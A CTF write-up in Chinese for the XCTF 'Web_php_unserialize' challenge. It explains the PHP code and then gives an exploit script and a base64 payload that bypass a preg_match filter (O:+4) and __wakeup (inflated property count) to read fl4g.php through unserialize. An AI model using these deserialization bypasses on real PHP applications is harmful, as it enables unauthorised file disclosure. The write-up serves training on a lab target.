XCTF-Web_php_unserialize


访问查看

是一道经典的反序列化题目,尝试解题,大概一下脚本,需要传入var进行反序列化

  1. php代码会先将var传入的值进行base64解码,
  2. 然后进行perg_match()正则匹配判断,如果匹配成立就执行die()方法终止脚本运行
  3. 使用unserialize()方法反序列化我们传入的值
  4. __wakeup()在反序列化时候执行将$file变量赋值为index.php
  5. __destruct在程序销毁的时候使用highlight_file()方法查看$file文件的内容

这里我们的目标就明确了,更改$file值的内容fl4g.php(在注释中),需要绕过两个条件:

  • preg_match()正则匹配
    • 改题目匹配的条件就是/[oc]:\d+:/i,左右两个/代表这是正则匹配的条件,里面[oc]代表使用oc开头,然后后面匹配:,然后d+匹配一个或者多个数字,最后匹配一个冒号,最后/后面的i代表不区分大小写
    • 最后匹配的条件举例如下:O:1234:O:510:C:4321:
  • __wakeup()初始化赋值
    • 使用常见的CVE绕过

上述中,我们反序列化后的对象一般都是O:4:开头,所以需要绕过。在PHP中,O:4:O:+4:的意思是一样的,所以最后脚本如下

<?php

class Demo { 
    private $file = 'fl4g.php';

}
$new = new Demo();

$ser = serialize($new);

// 替换绕过 preg_match
$ser = str_replace("O:4","O:+4",$ser);

// 替换绕过 wakeup
$ser = str_replace(":1:",":2:",$ser);

print(base64_encode($ser));
?>

使用地址栏传入var的值
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

posted @ 2023-11-26 17:21  Junglezt  阅读(26)  评论(0编辑  收藏  举报